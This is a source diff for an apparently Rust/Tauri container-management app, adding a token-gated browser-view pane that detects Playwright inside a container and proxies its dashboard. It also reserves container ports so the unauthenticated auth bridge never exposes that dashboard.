+| **llama.cpp** | `ANTHROPIC_BASE_URL` points at a `llama-server` (default port 8080); `ANTHROPIC_AUTH_TOKEN` is set to the placeholder `llama.cpp`, which `llama-server` ignores unless started with `--api-key`. `llama-server` implements `POST /v1/messages` and `/v1/messages/count_tokens` natively. | Local models (best-effort) |
 | **OpenAI Compatible** | `ANTHROPIC_BASE_URL` plus `ANTHROPIC_AUTH_TOKEN` point at a gateway. **Despite the name, the endpoint must implement the Anthropic Messages API** — Claude Code only ever sends `POST /v1/messages?beta=true`, never `/v1/chat/completions`. LiteLLM works; a bare OpenAI-only server does not. | Anthropic-shaped gateways (best-effort) |
 #### Model aliases on custom endpoints
 `Backend::uses_custom_endpoint()` (Ollama, llama.cpp, OpenAI Compatible) gates the emission of
 `ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL`, computed by
 `docker::container::compute_model_aliases`. All four default to the backend's resolved model id;
 each backend carries an optional `haiku_model_id` override, because the Haiku alias is what Claude
 Code uses for background work. Anthropic and Bedrock emit none of them and keep Claude Code's
 defaults; the four names are in `MANAGED_AUTH_KEYS`, so switching away from a custom endpoint
 blanks the values baked into the snapshot image. The resolved alias set is folded into each
 backend's `triple-c.*-fingerprint` label, since `container_needs_recreation` is label-based and
 never diffs env. `ANTHROPIC_SMALL_FAST_MODEL` is deprecated and unused.
 ### Shared Claude Authentication Token
@@ -443,7 +456,8 @@ triple-c/
    │       │                                 # ClaudeInstructions, ClaudeCodeSettings —
    │       │                                 # editors reused by Project Home
    │       ├── settings/          # SettingsPanel, DockerSettings, AwsSettings,
-    │       │                      # OllamaSettings, OpenAiCompatibleSettings,
+    │       │                      # OllamaSettings, LlamaCppSettings,
    │       │                      # OpenAiCompatibleSettings,
    │       │                      # SharedAuthSettings, ClaudeAuthModal,
    │       │                      # WebTerminalSettings, SttSettings,
    │       │                      # MicrophoneSettings, UpdateDialog, ImageUpdateDialog
@@ -362,14 +362,43 @@ async fn poll_loop(
 /// Ports Docker already handles for this project. A container port that is
 /// explicitly published has a host-side path already, and the mapping's host
 /// port is a binding we must not fight over.
 ///
 /// [`RESERVED_CONTAINER_PORTS`] is folded in as well: those are container
 /// loopback listeners another feature owns and exposes on its own,
 /// authenticated terms.
 fn skipped_ports(project: &crate::models::Project) -> HashSet<u16> {
-    project
+    let mut skip: HashSet<u16> = project
        .port_mappings
        .iter()
        .flat_map(|m| [m.container_port, m.host_port])
-        .collect()
+        .collect();
    skip.extend(RESERVED_CONTAINER_PORTS.clone());
    skip
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Reservations
 // ─────────────────────────────────────────────────────────────────────────────
 /// Container loopback ports another feature owns, which the bridge must leave
 /// alone.
 ///
 /// The bridge's contract is "mirror every container loopback listener onto the
 /// same host port, **unauthenticated**" — correct for the throwaway OAuth
 /// callback listeners it exists for, wrong for anything sensitive. The
 /// browser-view pane runs Playwright's dashboard on a container loopback port
 /// in this range and puts a token-gated listener in front of it; mirroring that
 /// port here would quietly publish an ungated second door to full control of a
 /// browser inside the container.
 ///
 /// This is a constant rather than a registry the pane populates at runtime, and
 /// that is the point: Playwright's dashboard is a detached daemon that outlives
 /// the app, so after a crash an orphaned viewer can still be listening with
 /// nothing in this process left to remember it. A static range is the only form
 /// of the rule that survives a restart. It must stay in step with
 /// `browser_view::VIEWER_PORTS`, which asserts on it.
 pub const RESERVED_CONTAINER_PORTS: std::ops::RangeInclusive<u16> = 39321..=39328;
 /// Bring the set of host listeners in line with what the container is currently
 /// listening on. Returns whether anything the UI cares about changed.
 async fn reconcile(
@@ -519,7 +548,25 @@ mod tests {
    }
    #[test]
-    fn no_mappings_means_nothing_is_skipped() {
+    fn no_mappings_means_nothing_but_the_reserved_range_is_skipped() {
-        assert!(skipped_ports(&project_with_mappings(vec![])).is_empty());
+        let skip = skipped_ports(&project_with_mappings(vec![]));
        assert_eq!(skip.len(), RESERVED_CONTAINER_PORTS.clone().count());
    }
    #[test]
    fn the_browser_views_ports_are_never_mirrored() {
        // Mirroring these would publish an ungated second door to the
        // Playwright dashboard, which the pane deliberately keeps behind a
        // token-checking listener.
        let skip = skipped_ports(&project_with_mappings(vec![]));
        for port in RESERVED_CONTAINER_PORTS {
            assert!(skip.contains(&port), "port {} should be reserved", port);
        }
        assert!(!skip.contains(&(RESERVED_CONTAINER_PORTS.end() + 1)));
        // Reservations coexist with Docker's own published ports.
        let skip = skipped_ports(&project_with_mappings(vec![(3000, 3000)]));
        assert!(skip.contains(RESERVED_CONTAINER_PORTS.start()));
        assert!(skip.contains(&3000));
    }
 }
@@ -172,6 +172,24 @@ async fn accept_optional(
 /// Carry one accepted host connection into the container over `socat`.
 async fn tunnel_connection(container_id: String, target: String, stream: TcpStream, port: u16) {
    tunnel_connection_with_prelude(container_id, target, stream, port, Vec::new()).await
 }
 /// As [`tunnel_connection`], but `prelude` is written into the container first,
 /// ahead of anything further read from `stream`.
 ///
 /// This exists for callers that must *inspect* the beginning of a connection
 /// before deciding to forward it — the browser-view proxy reads the HTTP request
 /// head off the socket to check a token, and then has to put those same bytes
 /// back on the wire. Passing them here keeps the byte stream exact, rather than
 /// re-serialising a parsed request.
 pub async fn tunnel_connection_with_prelude(
    container_id: String,
    target: String,
    stream: TcpStream,
    port: u16,
    prelude: Vec<u8>,
 ) {
    let cmd = vec!["socat".to_string(), "-".to_string(), target.clone()];
    let AttachedExec {
@@ -198,6 +216,13 @@ async fn tunnel_connection(container_id: String, target: String, stream: TcpStre
    // direction drops `input`, which closes the exec's stdin and lets socat see
    // a clean EOF (a half-close, not a teardown of the whole connection).
    let upstream = AbortOnDrop(tokio::spawn(async move {
        // Bytes the caller already consumed from the socket go first, so the
        // container sees the connection exactly as the client sent it.
        if !prelude.is_empty()
            && (input.write_all(&prelude).await.is_err() || input.flush().await.is_err())
        {
            return;
        }
        let mut buf = vec![0u8; PUMP_BUF];
        loop {
            match host_rx.read(&mut buf).await {
@@ -0,0 +1,78 @@
 //! IPC surface for the browser view pane. The mechanism lives in
 //! [`crate::browser_view`]; this file only translates between it and the
 //! frontend.
 use tauri::{AppHandle, State};
 use crate::browser_view::{manager, BrowserViewStatus};
 use crate::AppState;
 /// Turn the pane on or off for a project.
 ///
 /// Enabling probes the container and brings the viewer up when it can; a
 /// container that isn't running, or one without Playwright, comes back as a
 /// non-`Running` status carrying an explanation rather than an error, so the
 /// pane always has something specific to say. This is host-side only — no
 /// container recreation is involved either way.
 #[tauri::command]
 pub async fn set_browser_view_enabled(
    project_id: String,
    enabled: bool,
    app_handle: AppHandle,
    state: State<'_, AppState>,
 ) -> Result<BrowserViewStatus, String> {
    if !enabled {
        // Awaits the supervisor, so the host port is released before we return.
        manager().stop(&project_id).await;
        return Ok(manager().status(&project_id).await);
    }
    let project = state
        .projects_store
        .get(&project_id)
        .ok_or_else(|| format!("Project {} not found", project_id))?;
    let Some(container_id) = project.container_id.clone() else {
        return Err("Start the container before opening the browser view.".to_string());
    };
    if !crate::docker::container::is_container_running(&container_id)
        .await
        .unwrap_or(false)
    {
        return Err("Start the container before opening the browser view.".to_string());
    }
    manager()
        .start(
            project_id,
            container_id,
            app_handle,
            state.projects_store.clone(),
        )
        .await
 }
 /// Current status. Cheap: reads in-process state only, never the container.
 #[tauri::command]
 pub async fn get_browser_view_status(project_id: String) -> Result<BrowserViewStatus, String> {
    Ok(manager().status(&project_id).await)
 }
 /// Probe the container for Playwright without starting anything.
 ///
 /// Lets the pane say "install this" before the user asks for a view, and lets
 /// them re-check after installing without toggling the feature.
 #[tauri::command]
 pub async fn check_browser_view_support(
    project_id: String,
    state: State<'_, AppState>,
 ) -> Result<crate::browser_view::detect::PlaywrightDetection, String> {
    let project = state
        .projects_store
        .get(&project_id)
        .ok_or_else(|| format!("Project {} not found", project_id))?;
    let container_id = project
        .container_id
        .ok_or_else(|| "Start the container to check for Playwright.".to_string())?;
    crate::browser_view::detect::detect(&container_id).await
 }
@@ -0,0 +1,263 @@
 //! Is there anything in this container worth watching, and can we serve a viewer
 //! for it?
 //!
 //! Playwright is **not** in the container image — it is installed by the user or
 //! by Claude, into whichever `node_modules` happens to be in scope. So detection
 //! has to be done inside the container, at the moment the pane is opened, and it
 //! has to produce an *actionable* answer when the pieces are missing: the pane's
 //! one unforgivable failure mode would be an unexplained spinner.
 //!
 //! Three things must line up:
 //!
 //! 1. **`playwright-core`** (directly, or via `playwright`, which re-exports it),
 //! 2. at a version whose `Browser` exposes **`bind()`** — the live-dashboard API
 //!    that publishes a browser for a viewer to attach to, and
 //! 3. **`@playwright/cli`**, which ships the viewer UI itself.
 //!
 //! Discovery of published browsers is local-filesystem based (a cache directory
 //! plus a unix-socket singleton in the temp dir), which is exactly why the viewer
 //! has to run *in the container* next to the browsers rather than on the host.
 use serde::{Deserialize, Serialize};
 use crate::docker::exec::exec_oneshot;
 /// Marks the JSON payload in the probe's stdout, so unrelated chatter on the
 /// same stream (npm notices, Node warnings) can't be mistaken for the result.
 const MARKER: &str = "__TRIPLE_C_BROWSER_VIEW__";
 /// What the probe found. Serialised straight to the frontend so the pane can
 /// explain itself precisely rather than saying "not available".
 #[derive(Debug, Clone, Default, Serialize, Deserialize)]
 pub struct PlaywrightDetection {
    /// Node's own version, if `node` ran at all.
    #[serde(default)]
    pub node_version: Option<String>,
    /// Resolved `playwright-core` (or `playwright`) version.
    #[serde(default)]
    pub playwright_version: Option<String>,
    /// Absolute path of the resolved package manifest, for the diagnostics line.
    #[serde(default)]
    pub playwright_path: Option<String>,
    /// Whether the resolved build's type definitions declare `Browser.bind()`.
    #[serde(default)]
    pub has_bind: bool,
    /// Resolved `@playwright/cli` version — the package that serves the viewer.
    #[serde(default)]
    pub cli_version: Option<String>,
    /// Absolute path of `@playwright/cli`'s entry script. Invoked with `node`
    /// directly rather than through its bin shim, so the viewer's PID is the one
    /// we can signal.
    #[serde(default)]
    pub cli_entry: Option<String>,
    /// Where the probe looked, echoed back for the "not found" message.
    #[serde(default)]
    pub searched: Vec<String>,
 }
 impl PlaywrightDetection {
    /// Everything needed to actually serve the pane.
    pub fn is_usable(&self) -> bool {
        self.playwright_version.is_some() && self.has_bind && self.cli_entry.is_some()
    }
    /// A specific, actionable explanation of what is missing. `None` when the
    /// container is ready.
    pub fn blocker(&self) -> Option<String> {
        if self.node_version.is_none() {
            return Some(
                "Node.js isn't runnable in this container, so Playwright can't be detected."
                    .to_string(),
            );
        }
        if self.playwright_version.is_none() {
            return Some(format!(
                "Playwright isn't installed in this container. Install it with \
                 `npm i -D playwright` (or `npm i -g playwright`), then have Claude call \
                 `await browser.bind('claude')` after launching a browser — or use \
                 `@playwright/mcp`, which binds automatically. Looked in: {}.",
                if self.searched.is_empty() {
                    "the container's default module paths".to_string()
                } else {
                    self.searched.join(", ")
                }
            ));
        }
        if !self.has_bind {
            return Some(format!(
                "Playwright {} is installed, but it predates the live-dashboard API \
                 (`browser.bind()`). Upgrade with `npm i -D playwright@latest` and restart \
                 the browser Claude is driving.",
                self.playwright_version.as_deref().unwrap_or("?")
            ));
        }
        if self.cli_entry.is_none() {
            return Some(
                "Playwright is installed, but the viewer UI package isn't. Install it with \
                 `npm i -D @playwright/cli`, then reopen this tab."
                    .to_string(),
            );
        }
        None
    }
 }
 /// One `node -e` probe, run as `claude` inside the container.
 ///
 /// No shell quoting is involved: the script is a single `argv` element. The
 /// script finds the global `node_modules` root itself, so a Playwright installed
 /// with `npm i -g` is found as readily as one in `/workspace/node_modules`.
 pub async fn detect(container_id: &str) -> Result<PlaywrightDetection, String> {
    let output = exec_oneshot(
        container_id,
        vec!["node".to_string(), "-e".to_string(), PROBE.to_string()],
    )
    .await?;
    parse_probe_output(&output)
 }
 /// Pull the marked JSON object out of the probe's combined output.
 ///
 /// `exec_oneshot` interleaves stdout and stderr, and Node happily writes
 /// deprecation warnings to the latter, so the payload is located by marker
 /// rather than by assuming it is the whole stream.
 pub(crate) fn parse_probe_output(output: &str) -> Result<PlaywrightDetection, String> {
    let start = output.find(MARKER).ok_or_else(|| {
        let trimmed = output.trim();
        if trimmed.is_empty() {
            "Playwright detection produced no output. Is Node.js present in the container?"
                .to_string()
        } else {
            format!(
                "Playwright detection failed: {}",
                trimmed.lines().next_back().unwrap_or(trimmed)
            )
        }
    })? + MARKER.len();
    // The payload runs to the end of that line; anything the probe's own
    // children wrote afterwards is not ours.
    let json = output[start..].lines().next().unwrap_or("").trim();
    serde_json::from_str(json)
        .map_err(|e| format!("Could not read the Playwright detection result: {}", e))
 }
 /// The probe. Kept as one string so the quoting story is "there isn't one".
 ///
 /// Deliberately tolerant: every lookup is individually guarded, because a
 /// half-installed `node_modules` must produce a *partial* answer that
 /// [`PlaywrightDetection::blocker`] can turn into advice, not an exception that
 /// produces "detection failed".
 const PROBE: &str = concat!(
    r#"const fs=require("fs"),path=require("path"),cp=require("child_process");"#,
    r#"const out={node_version:process.versions.node,searched:[],has_bind:false};"#,
    // `npm root -g` is the only reliable way to learn the global prefix, and it
    // is cheap enough to pay for once per pane open.
    r#"let g=null;try{g=cp.execSync("npm root -g",{encoding:"utf8",stdio:["ignore","pipe","ignore"]}).trim()||null;}catch(e){}"#,
    r#"const roots=[...new Set(["/workspace",process.cwd(),process.env.HOME?path.join(process.env.HOME,"node_modules"):null,g].filter(Boolean))];"#,
    r#"out.searched=roots;"#,
    r#"const res=(s)=>{for(const r of roots){try{return require.resolve(s,{paths:[r]});}catch(e){}}return null;};"#,
    r#"const core=res("playwright-core/package.json")||res("playwright/package.json");"#,
    r#"if(core){try{out.playwright_path=core;out.playwright_version=JSON.parse(fs.readFileSync(core,"utf8")).version;}catch(e){}"#,
    // `bind`/`unbind` are checked against the shipped type definitions rather
    // than by loading the module: it is a static read, needs no browser, and
    // cannot be tripped up by a package that fails to import.
    r#"try{const t=fs.readFileSync(path.join(path.dirname(core),"types","types.d.ts"),"utf8");"#,
    r#"out.has_bind=/\bunbind\s*\(\s*\)/.test(t)&&/\bbind\s*\(/.test(t);}catch(e){}}"#,
    r#"const cli=res("@playwright/cli/package.json");"#,
    r#"if(cli){try{const j=JSON.parse(fs.readFileSync(cli,"utf8"));out.cli_version=j.version;"#,
    r#"const b=typeof j.bin==="string"?{[j.name]:j.bin}:(j.bin||{});const k=Object.keys(b)[0];"#,
    r#"if(k)out.cli_entry=path.resolve(path.dirname(cli),b[k]);}catch(e){}}"#,
    r#"process.stdout.write("\n__TRIPLE_C_BROWSER_VIEW__"+JSON.stringify(out)+"\n");"#,
 );
 #[cfg(test)]
 mod tests {
    use super::*;
    fn payload(json: &str) -> String {
        format!("some npm noise\n{}{}\n", MARKER, json)
    }
    #[test]
    fn a_complete_install_is_usable() {
        let d = parse_probe_output(&payload(
            r#"{"node_version":"22.11.0","playwright_version":"1.62.1","has_bind":true,"cli_version":"0.1.18","cli_entry":"/workspace/node_modules/@playwright/cli/playwright-cli.js","searched":["/workspace"]}"#,
        ))
        .unwrap();
        assert!(d.is_usable());
        assert_eq!(d.blocker(), None);
    }
    #[test]
    fn stderr_noise_before_and_after_the_payload_is_ignored() {
        let out = format!(
            "(node:41) Warning: something\n{}{}\nnpm notice trailing\n",
            MARKER, r#"{"node_version":"22.11.0","has_bind":false}"#
        );
        let d = parse_probe_output(&out).unwrap();
        assert_eq!(d.node_version.as_deref(), Some("22.11.0"));
    }
    #[test]
    fn a_missing_playwright_is_reported_with_where_we_looked() {
        let d = parse_probe_output(&payload(
            r#"{"node_version":"22.11.0","searched":["/workspace","/usr/lib/node_modules"]}"#,
        ))
        .unwrap();
        assert!(!d.is_usable());
        let msg = d.blocker().unwrap();
        assert!(msg.contains("npm i -D playwright"), "{}", msg);
        assert!(msg.contains("browser.bind"), "{}", msg);
        assert!(msg.contains("/usr/lib/node_modules"), "{}", msg);
    }
    #[test]
    fn a_playwright_without_bind_asks_for_an_upgrade() {
        let d = parse_probe_output(&payload(
            r#"{"node_version":"22.11.0","playwright_version":"1.44.0","has_bind":false,"cli_entry":"/x/cli.js"}"#,
        ))
        .unwrap();
        let msg = d.blocker().unwrap();
        assert!(msg.contains("1.44.0"), "{}", msg);
        assert!(msg.contains("playwright@latest"), "{}", msg);
    }
    #[test]
    fn a_missing_viewer_package_is_reported_separately() {
        let d = parse_probe_output(&payload(
            r#"{"node_version":"22.11.0","playwright_version":"1.62.1","has_bind":true}"#,
        ))
        .unwrap();
        assert!(!d.is_usable());
        assert!(d.blocker().unwrap().contains("@playwright/cli"));
    }
    #[test]
    fn a_container_without_node_says_so() {
        let d = parse_probe_output(&payload(r#"{"has_bind":false}"#)).unwrap();
        assert!(d.blocker().unwrap().contains("Node.js"));
    }
    #[test]
    fn an_unmarked_stream_surfaces_the_containers_own_error() {
        let err = parse_probe_output("sh: 1: node: not found\n").unwrap_err();
        assert!(err.contains("node: not found"), "{}", err);
    }
    #[test]
    fn an_empty_stream_is_explained_rather_than_parsed() {
        let err = parse_probe_output("   \n").unwrap_err();
        assert!(err.contains("no output"), "{}", err);
    }
    #[test]
    fn the_probe_is_a_single_argv_element_with_no_quoting_hazards() {
        // It is passed straight to `node -e`; a stray single quote would only
        // matter if someone later routed it through a shell, and a newline
        // would break the marker-line contract in `parse_probe_output`.
        assert!(!PROBE.contains('\n'));
        assert!(PROBE.contains(MARKER));
    }
 }
@@ -0,0 +1,839 @@
 //! Browser view — watch, and take over, the browser Claude is driving.
 //!
 //! ## What is actually being watched
 //!
 //! Playwright ships a live dashboard. A script inside the container calls
 //! `await browser.bind('claude')`, which publishes a descriptor for the running
 //! browser into `~/.cache/ms-playwright/b/`; `@playwright/mcp` does this for you.
 //! `playwright-cli show --host 127.0.0.1 --port <p>` then serves a React viewer
 //! that watches that directory, connects to the published browser, and gives you
 //! a CDP screencast with full mouse and keyboard takeover — all of which works
 //! with `headless: true`, which is the only thing that could work in a container.
 //!
 //! Discovery is *local filesystem*, so the viewer has to run in the same
 //! container as the browsers. There is nothing a host-side viewer could see.
 //!
 //! ## Getting it onto the screen safely
 //!
 //! ```text
 //!   webview <iframe>                    host                          container
 //!   ────────────────                    ────                          ─────────
 //!   http://127.0.0.1:47820/index.html
 //!            ?ws=…&token=…   ────►  BrowserViewProxy   ──socat exec──►  playwright-cli show
 //!                                   (token gate)          (Docker API)   127.0.0.1:39321
 //! ```
 //!
 //! The proxy is the *only* host-bound socket, and it authenticates before a byte
 //! reaches the container — see [`proxy`] for the gate, and for why the auth
 //! bridge's unauthenticated [`PortForward`](crate::auth_bridge::tunnel::PortForward)
 //! is deliberately not used to carry this port. The container-side viewer port is
 //! additionally *reserved* with
 //! [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`], so that a project which
 //! also has the auth bridge on cannot end up with the viewer mirrored onto the
 //! host a second time, ungated.
 //!
 //! ## Lifecycle
 //!
 //! Off by default and per-project opt-in, exactly like `auth_bridge_enabled`.
 //! One supervisor task per session owns the proxy and the viewer process, and it
 //! is the only thing that tears them down, so every way a session can end funnels
 //! through one code path:
 //!
 //! | Trigger | Path |
 //! |---|---|
 //! | Turned off in the UI | `set_browser_view_enabled(false)` → [`BrowserViewManager::stop`] |
 //! | Container stopped, by the UI or otherwise | supervisor's `is_container_running` check |
 //! | Project deleted | supervisor's `store.get()` check |
 //! | Container rebuilt | old container stops → supervisor exits; the new one is not auto-started |
 //! | Viewer died in the container | supervisor's periodic HTTP liveness probe |
 //! | App exit | [`BrowserViewManager::stop_all`] |
 //!
 //! [`BrowserViewManager::stop`] awaits the supervisor, so the host port is
 //! provably released before it returns.
 //!
 //! One honest gap, verified rather than assumed: `playwright-cli show` is only
 //! a launcher — the dashboard it starts reparents to PID 1 and survives the
 //! exec that spawned it. Every ordinary teardown path above calls
 //! [`kill_dashboard`], which does stop it, but a *hard* app crash leaves the
 //! dashboard running inside the container until the container stops. That
 //! orphan is reachable on container loopback only: the host-side port dies with
 //! the app, and [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`] is a constant
 //! precisely so the bridge will not mirror an orphan the next time the app
 //! starts. The next [`BrowserViewManager::start`] reclaims it.
 pub mod commands;
 pub mod detect;
 pub mod proxy;
 use std::collections::HashMap;
 use std::sync::atomic::{AtomicU64, Ordering};
 use std::sync::{Arc, OnceLock};
 use std::time::Duration;
 use serde::Serialize;
 use tauri::{AppHandle, Emitter};
 use tokio::sync::{watch, Mutex};
 use tokio::task::JoinHandle;
 use crate::auth_bridge::proc_net::{self, PortFamily};
 use crate::docker::container::is_container_running;
 use crate::docker::exec::exec_oneshot;
 use crate::storage::projects_store::ProjectsStore;
 use detect::PlaywrightDetection;
 use proxy::BrowserViewProxy;
 /// Emitted whenever a project's browser view starts, stops or fails.
 /// Payload: `{ project_id, status: BrowserViewStatus }`.
 const BROWSER_VIEW_EVENT: &str = "browser-view-changed";
 /// Container-side ports the viewer may bind, tried in order. The dashboard is a
 /// per-workspace singleton inside the container, so only one is ever in use at
 /// a time; the range exists only so an unrelated service already sitting on the
 /// first port doesn't take the feature down.
 ///
 /// This *is* [`crate::auth_bridge::RESERVED_CONTAINER_PORTS`] — the bridge must
 /// never mirror these, so the two cannot be allowed to drift.
 const VIEWER_PORTS: std::ops::RangeInclusive<u16> = crate::auth_bridge::RESERVED_CONTAINER_PORTS;
 /// How often the supervisor re-checks that the session still has a reason to
 /// exist. Matches the auth bridge's cadence.
 const SUPERVISE_INTERVAL: Duration = Duration::from_secs(2);
 /// Supervisor ticks between HTTP liveness probes of the viewer. The two cheap
 /// checks run every tick; this one costs a container exec, so it runs at 1/5
 /// the rate (~10s).
 const LIVENESS_EVERY: u32 = 5;
 /// Ceiling on one readiness/liveness probe. Enforced inside the container by
 /// Node and again here, so neither a wedged daemon nor a wedged exec can stall
 /// the supervisor.
 const PROBE_TIMEOUT: Duration = Duration::from_secs(4);
 /// How long to wait for `playwright-cli show` to start answering HTTP.
 const READY_TIMEOUT: Duration = Duration::from_secs(30);
 const READY_POLL: Duration = Duration::from_millis(400);
 // ─────────────────────────────────────────────────────────────────────────────
 // IPC response model
 // ─────────────────────────────────────────────────────────────────────────────
 #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
 #[serde(rename_all = "snake_case")]
 pub enum BrowserViewState {
    /// Not running. Either never started, or stopped.
    Off,
    /// Running and reachable at `url`.
    Running,
    /// The container can't serve this — see `message` for what to install.
    Unavailable,
 }
 #[derive(Debug, Clone, Serialize)]
 pub struct BrowserViewStatus {
    /// The per-project opt-in. Off by default.
    pub enabled: bool,
    pub state: BrowserViewState,
    /// Fully-formed, token-bearing URL for the pane's iframe. Loopback only.
    pub url: Option<String>,
    pub host_port: Option<u16>,
    pub container_port: Option<u16>,
    /// RFC 3339 timestamp of when the viewer came up.
    pub started_at: Option<String>,
    /// What was found in the container. Present even when unusable, because
    /// that is exactly when the user needs to see it.
    pub detection: Option<PlaywrightDetection>,
    /// Human-readable explanation, set whenever `state` isn't `Running`.
    pub message: Option<String>,
 }
 impl BrowserViewStatus {
    fn off(enabled: bool) -> Self {
        Self {
            enabled,
            state: BrowserViewState::Off,
            url: None,
            host_port: None,
            container_port: None,
            started_at: None,
            detection: None,
            message: None,
        }
    }
    fn unavailable(enabled: bool, detection: PlaywrightDetection, message: String) -> Self {
        Self {
            enabled,
            state: BrowserViewState::Unavailable,
            detection: Some(detection),
            message: Some(message),
            ..Self::off(enabled)
        }
    }
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Manager
 // ─────────────────────────────────────────────────────────────────────────────
 /// Everything a live session exposes to `status()`. Fixed once the session is
 /// up, so it can be cloned out from under the map lock.
 #[derive(Debug, Clone)]
 struct SessionMeta {
    url: String,
    host_port: u16,
    container_port: u16,
    started_at: String,
    detection: PlaywrightDetection,
 }
 struct Session {
    /// Distinguishes this supervisor from a later one for the same project, so
    /// a supervisor that exits late can't evict its replacement.
    epoch: u64,
    cancel: watch::Sender<bool>,
    meta: SessionMeta,
    supervisor: JoinHandle<()>,
 }
 type SessionMap = Arc<Mutex<HashMap<String, Session>>>;
 #[derive(Default)]
 pub struct BrowserViewManager {
    sessions: SessionMap,
    /// The per-project opt-in.
    ///
    /// NOTE: in memory only, so it does not survive an app restart. The durable
    /// home for this is a `browser_view_enabled: bool` field on
    /// `models::Project` (see the report) — `models/project.rs` is out of scope
    /// for this change, so the flag lives here and the wiring is otherwise
    /// identical to `auth_bridge_enabled`.
    enabled: Mutex<std::collections::HashSet<String>>,
    next_epoch: AtomicU64,
 }
 /// Process-wide handle.
 ///
 /// Deliberately *not* a field on `AppState`: keeping it here means the feature
 /// needs no edit to `lib.rs` beyond declaring the module and registering the
 /// commands, and it lets teardown paths reach it without threading state.
 pub fn manager() -> &'static Arc<BrowserViewManager> {
    static MANAGER: OnceLock<Arc<BrowserViewManager>> = OnceLock::new();
    MANAGER.get_or_init(|| Arc::new(BrowserViewManager::default()))
 }
 impl BrowserViewManager {
    pub async fn is_enabled(&self, project_id: &str) -> bool {
        self.enabled.lock().await.contains(project_id)
    }
    async fn set_enabled(&self, project_id: &str, enabled: bool) {
        let mut set = self.enabled.lock().await;
        if enabled {
            set.insert(project_id.to_string());
        } else {
            set.remove(project_id);
        }
    }
    /// Current status without touching the container.
    pub async fn status(&self, project_id: &str) -> BrowserViewStatus {
        let enabled = self.is_enabled(project_id).await;
        match self.sessions.lock().await.get(project_id) {
            Some(session) => BrowserViewStatus {
                enabled,
                state: BrowserViewState::Running,
                url: Some(session.meta.url.clone()),
                host_port: Some(session.meta.host_port),
                container_port: Some(session.meta.container_port),
                started_at: Some(session.meta.started_at.clone()),
                detection: Some(session.meta.detection.clone()),
                message: None,
            },
            None => BrowserViewStatus::off(enabled),
        }
    }
    /// Probe the container and, if it can serve a viewer, bring one up.
    ///
    /// Idempotent: a call while a live session exists returns that session's
    /// status untouched, so re-opening the tab does not restart the dashboard.
    pub async fn start(
        &self,
        project_id: String,
        container_id: String,
        app: AppHandle,
        store: Arc<ProjectsStore>,
    ) -> Result<BrowserViewStatus, String> {
        self.set_enabled(&project_id, true).await;
        // Bind the answer before acting on it: `status()` takes the same lock,
        // and this mutex is not reentrant.
        let already_live = self
            .sessions
            .lock()
            .await
            .get(&project_id)
            .is_some_and(|s| !s.supervisor.is_finished());
        if already_live {
            return Ok(self.status(&project_id).await);
        }
        let detection = detect::detect(&container_id).await?;
        if !detection.is_usable() {
            let blocker = detection.blocker().unwrap_or_else(|| {
                "Playwright is present but incomplete in this container.".to_string()
            });
            let status = BrowserViewStatus::unavailable(true, detection, blocker);
            emit(&app, &project_id, &status);
            return Ok(status);
        }
        // `is_usable()` already established this, so the fallback is unreachable.
        let cli_entry = detection.cli_entry.clone().unwrap_or_default();
        // The dashboard is a per-workspace singleton keyed on a unix socket in
        // the temp dir, not on a port. Verified: while one is running, a second
        // `show --port` prints "Dashboard is running pid=…", exits 0, and
        // *ignores the port you asked for*. So always reclaim first — including
        // a daemon this app orphaned in an earlier run, since it outlives us.
        // Doing this before choosing a port also frees the one a previous
        // session was using, so sessions don't walk up the range. Best-effort:
        // a container with no dashboard makes this a no-op.
        let _ = kill_dashboard(&container_id, &cli_entry).await;
        let container_port = pick_viewer_port(&container_id).await?;
        launch_viewer(&container_id, &cli_entry, container_port).await?;
        // Wait for it to actually answer, and learn the entry URL while we're
        // there — see `probe_entry_path` for why that matters. This, not the
        // launcher's stdout, is the readiness signal: verified that the
        // "Listening on …" line is printed only on the very first start.
        let entry_path = match wait_until_ready(&container_id, container_port).await {
            Ok(path) => path,
            Err(e) => {
                let log = read_viewer_log(&container_id).await;
                let _ = kill_dashboard(&container_id, &cli_entry).await;
                return Err(explain_start_failure(&e, &log));
            }
        };
        let token = generate_token();
        // `--host 127.0.0.1` is ours to set, so the family is known and there is
        // no need to go back to /proc/net to work it out.
        let proxy = match BrowserViewProxy::bind(
            container_id.clone(),
            container_port,
            PortFamily::V4,
            token.clone(),
        )
        .await
        {
            Ok(p) => p,
            Err(e) => {
                let _ = kill_dashboard(&container_id, &cli_entry).await;
                return Err(e);
            }
        };
        let meta = SessionMeta {
            url: build_url(proxy.port, &entry_path, &token),
            host_port: proxy.port,
            container_port,
            started_at: chrono::Utc::now().to_rfc3339(),
            detection,
        };
        let epoch = self.next_epoch.fetch_add(1, Ordering::Relaxed);
        let (cancel_tx, cancel_rx) = watch::channel(false);
        let supervisor = tokio::spawn(supervise(
            project_id.clone(),
            container_id.clone(),
            cli_entry,
            container_port,
            epoch,
            app.clone(),
            store,
            self.sessions.clone(),
            cancel_rx,
            proxy,
        ));
        log::info!(
            "Browser view: project {} → 127.0.0.1:{} → container 127.0.0.1:{}",
            project_id,
            meta.host_port,
            container_port
        );
        self.sessions.lock().await.insert(
            project_id.clone(),
            Session {
                epoch,
                cancel: cancel_tx,
                meta,
                supervisor,
            },
        );
        let status = self.status(&project_id).await;
        emit(&app, &project_id, &status);
        Ok(status)
    }
    /// Stop one project's view and wait until its host port has been released.
    pub async fn stop(&self, project_id: &str) {
        self.set_enabled(project_id, false).await;
        // Remove under the lock, then release it before awaiting: the
        // supervisor takes the same lock to deregister itself on exit.
        let session = self.sessions.lock().await.remove(project_id);
        if let Some(session) = session {
            let _ = session.cancel.send(true);
            let _ = session.supervisor.await;
            log::info!("Browser view: stopped for project {}", project_id);
        }
    }
    /// Stop every view. Used on app exit.
    pub async fn stop_all(&self) {
        let sessions: Vec<(String, Session)> = self.sessions.lock().await.drain().collect();
        for (project_id, session) in sessions {
            let _ = session.cancel.send(true);
            let _ = session.supervisor.await;
            log::info!("Browser view: stopped for project {}", project_id);
        }
    }
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Supervisor
 // ─────────────────────────────────────────────────────────────────────────────
 /// Owns the proxy and the viewer process for one session and is the only thing
 /// that tears them down, so a session can't half-die.
